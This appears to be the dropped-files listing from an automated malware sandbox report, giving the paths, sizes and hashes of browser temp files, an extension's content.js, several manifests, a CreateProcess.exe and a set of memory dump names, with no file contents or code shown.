b654ae8a-761e-4dfd-b301-dbbf51480071.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\b654ae8a-761e-4dfd-b301-dbbf51480071.tmp
Size 11KB
SHA256 ca554c6639757562d9bcd3ff24af2588b1f8b9ff5c46ee1f2b7b4d8d5b6744c6
MD5 016060aecff9f9ec9f752595662fc6a2
SHA1 6c484e01e32ee5a208107929c2f37eac16fcb5fb
SHA512 52b48406e53a2aa7c292a956d90da0e547f43c94622ed7f589d962e256cb0411756f1dbcb9c69a8236286d54ab550b683a8feddba5153f887166396031c318cb
SSDEEP 192:sxR7RvC+f/fisZHkZMWU2sDZzoA8p9m/g6+WNCsS/YF0N+G0IgDpGJ:sxR7E+f/fisZHaMb2ykw/50/zmE
TLSH
T1EF42C915AD28A97B8CC7E21DBB557F53E2F91032A0D51F48A6FC8A1C14E76DD220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ef4a383b-22aa-40f9-bf67-32d906fbc912.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\ef4a383b-22aa-40f9-bf67-32d906fbc912.tmp
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

efefb623-8e80-479e-a086-35afef42c62f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\efefb623-8e80-479e-a086-35afef42c62f.tmp
Size 11KB
SHA256 5dda0a533f0fed550b385a72c0042e54d67720584371fdb6d525e781de6ff9e0
MD5 b4a0cd245cd3687211795eb14c349214
SHA1 12253f40b8ac0a9cba2229f21b66c122d8394d32
SHA512 79d5951e04a080f1ca4da3b11e52de682e4b231ff2b0f2d6a6ae37b172ac05b75f000b09ffede1e4ae598677567aa5a8ea7e49f1f1f7f79f96f2f0e5ea5bd6bb
SSDEEP 192:sxRARvC+f/fisjHkZMWU2sDZzoA8p9m/g6+WNCsS/YFSN+G0IgVGJ:sxRAE+f/fisjHaMb2ykw/50/Vmk
TLSH
T11F32B815AE28A97B8CCBD21DBB667F53D2F91032A4D51F48E6FC8A1C14E76DD120780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9ce36d85-1ac2-43cb-b8a0-95fb96f05749.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\9ce36d85-1ac2-43cb-b8a0-95fb96f05749.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

324bde78-6f8c-44c0-94ef-2fd236f7fc0b.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\324bde78-6f8c-44c0-94ef-2fd236f7fc0b.tmp
Size 372B
SHA256 dc86dff8fbd3b224794d65e8c0974ffa3b17c53a934c92f82e938e524fe823dd
MD5 80c2dfaf9affc09798a4976ae70f1b0b
SHA1 80daf1112206b189525aa4f5b380fbbba97b583a
SHA512 be5ed753856621e4dc5b64324872539291704bf5d2a415ac993b5f475db90e958544f281ac36d3e17af93c554895ceeaccf6fa9b0839d21c60a38443b2081876
TLSH
T15FE06880883D0EC2EBB60A5FE40706FC40C8491AB498187804CEF899A03B0973115C7D
MD5 SHA1 SHA512 TLSH

Submit Download

71c1493b-593a-4b14-9853-71963e68c5a8.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\71c1493b-593a-4b14-9853-71963e68c5a8.tmp
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

945d3afd-b19f-4e52-af0d-8d79198315b7.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\945d3afd-b19f-4e52-af0d-8d79198315b7.tmp
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

e0c7b791-ed82-41bd-8e12-242376c24293.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\e0c7b791-ed82-41bd-8e12-242376c24293.tmp
Size 40KB
SHA256 5d5dc632f024d16d14add103f7576c7f11a1fc70af4f2c2d66ee1efb7d0e9b77
MD5 41120c9b718188cb50ff94c43a97190d
SHA1 b1ebf0f1aa7e649f09efc7d089c4815cf3124a6a
SHA512 0fb6748249d69e48b9b5547b79144a74efd00f628ef19f0541075a0d79b38118cadbd6a2ba022b405598d755899dee3603f875bb739cd09111010b1bf6ad5cff
SSDEEP 768:L/UxvxjgC+N3gwJcf9c02sXyEMbxyJugQVTJ7vvmeXu4YGHT3J:+Zj3+N3gwUfyEmxyJJq17vQ4YUbJ
TLSH
T12713C035A8659C7389FBD2447659ABC7EFE405B388C65F98C8D95F0D01873AC2B0B81B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d3891c65-f6a7-461a-b397-93f580af4b22.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\d3891c65-f6a7-461a-b397-93f580af4b22.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

4b001495-2eff-41a7-b1ca-63d9b1ad2c01.tmp

Path C:\Users\Admin\AppData\Local\Temp\4b001495-2eff-41a7-b1ca-63d9b1ad2c01.tmp
Size 10KB
SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
MD5 78e47dda17341bed7be45dccfd89ac87
SHA1 1afde30e46997452d11e4a2adbbf35cce7a1404f
SHA512 9574a66d3756540479dc955c4057144283e09cae11ce11ebce801053bb48e536e67dc823b91895a9e3ee8d3cb27c065d5e9030c39a26cbf3f201348385b418a5
SSDEEP 192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
TLSH
T19D32CFB695286380C58EE63D86423BE3130AFBF8CC05F156815069D768A13591B4B8BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7972f5e3-2cfe-4cf0-93f4-f52e0841f8d7.tmp

Path C:\Users\Admin\AppData\Local\Temp\7972f5e3-2cfe-4cf0-93f4-f52e0841f8d7.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

content.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1948_1565376514\CRX_INSTALL\content.js
Size 9KB
SHA256 0d40a5153cb66b5bde64906ca3ae750494098f68ad0b4d091256939eea243643
MD5 3d20584f7f6c8eac79e17cca4207fb79
SHA1 3c16dcc27ae52431c8cdd92fbaab0341524d3092
SHA512 315d1b4cc2e70c72d7eb7d51e0f304f6e64ac13ae301fd2e46d585243a6c936b2ad35a0964745d291ae9b317c316a29760b9b9782c88cc6a68599db531f87d59
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
TLSH
T16212B58DA568ED7D1980C952E10EA62E5D342435E6E7A303108B8D88026CFBAD955FFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1948_1349407486\manifest.json
Size 43B
SHA256 81bd82ac27612a58be30a72dd8956b13f883e32ffb54a58076bd6a42b8afaeea
MD5 af3a9104ca46f35bb5f6123d89c25966
SHA1 1ffb1b0aa9f44bdbc57bdf4b98d26d3be0207ee8
SHA512 6a7a543fa2d1ead3574b4897d2fc714bb218c60a04a70a7e92ecfd2ea59d67028f91b6a2094313f606560087336c619093f1d38d66a3c63a1d1d235ca03d36d1
MD5 SHA1 SHA512

Submit Download

manifest.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1948_1580141024\manifest.json
Size 160B
SHA256 31952875f8bb2e71f49231c95349945ffc0c1dd975f06309a0d138f002cfd23d
MD5 c3911ceb35539db42e5654bdd60ac956
SHA1 71be0751e5fc583b119730dbceb2c723f2389f6c
SHA512 d8b2c7c5b7105a6f0c4bc9c79c05b1202bc8deb90e60a037fec59429c04fc688a745ee1a0d06a8311466b4d14e2921dfb4476104432178c01df1e99deb48b331
TLSH
T1F1C08C73CC08AE7911B14B371B214642E3B8030B600039093A32084C0BA47B00262328
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1948_89630717\manifest.json
Size 135B
SHA256 bf066a2cf10074e847bef7c066a9c84deada6586412e181cb417c6426a5d60a4
MD5 616eb6b585f16811dc5db5063e088cd7
SHA1 fc50aa7b747f9367d2b177eab7ab12cdafdeea85
SHA512 cdaf55640f0279c1cee06338912a07bc8bc8cb3780f70202363e25b327eb94a524c0acdd25cc2b22fbb1895d32af888857b17b3f0d7a2064f51ccdf1bab57f79
TLSH
T1BFC04C668D41DEAB00A647A56B295315E23B4B4B5044400A7AB5429C1A285964271844
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1948_943850658\manifest.json
Size 165B
SHA256 fc5dd0f6692cb24ec676b53527dabff28114c905dd08f72c97ac54a22c1bffae
MD5 1bfafb8c67c4ae6cf99faf6f1fcbe9e3
SHA1 77fc3483a895f1f429e6c6bb0f294a8fdc69dd08
SHA512 7237c88400ae032f4e745d8f0e5a869c29a76f0151b61ad2aed2ae1be7fd0b759d81c5e6b47535586533c0ab25291a25822174173f1bf6dbaab0298366aaea73
TLSH
T115C012229844793A12A183840A31CA82B2A0020B34E129023A79408C4F350749101619
MD5 SHA1 SHA512 TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 25b4fbddfc4832d00aa00ad70e79f2cd0a6a0bf01ff73abf3cdc740253add95e
MD5 94809b78e6e32defdf3026e28cf32ebd
SHA1 9f619bae3d12e8f3d32b2880777955bc0312be30
SHA512 5cf26da3020a2b0cbc67323ebeab6e00a1c40bec0581d31c8e88505ceffbcd4632bac8e4b2d145ed202366682fd29286a89997578b0857e79c7b8307542c12e0
TLSH
T1EF71238356B9D9B3C1DA5BF102835608F1FF22380B7330244B55554AAB30A7A54B8F04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/948-324-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1576-440-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1724-320-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1812-420-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1812-442-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2292-479-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2620-374-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2688-416-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2896-295-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3212-340-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3332-501-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3500-270-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4124-453-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4212-242-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4248-282-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4392-65-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4504-344-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4604-458-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4768-394-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5728-193-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5992-483-0x0000000000010000-0x00000000000AB000-memory.dmp

Download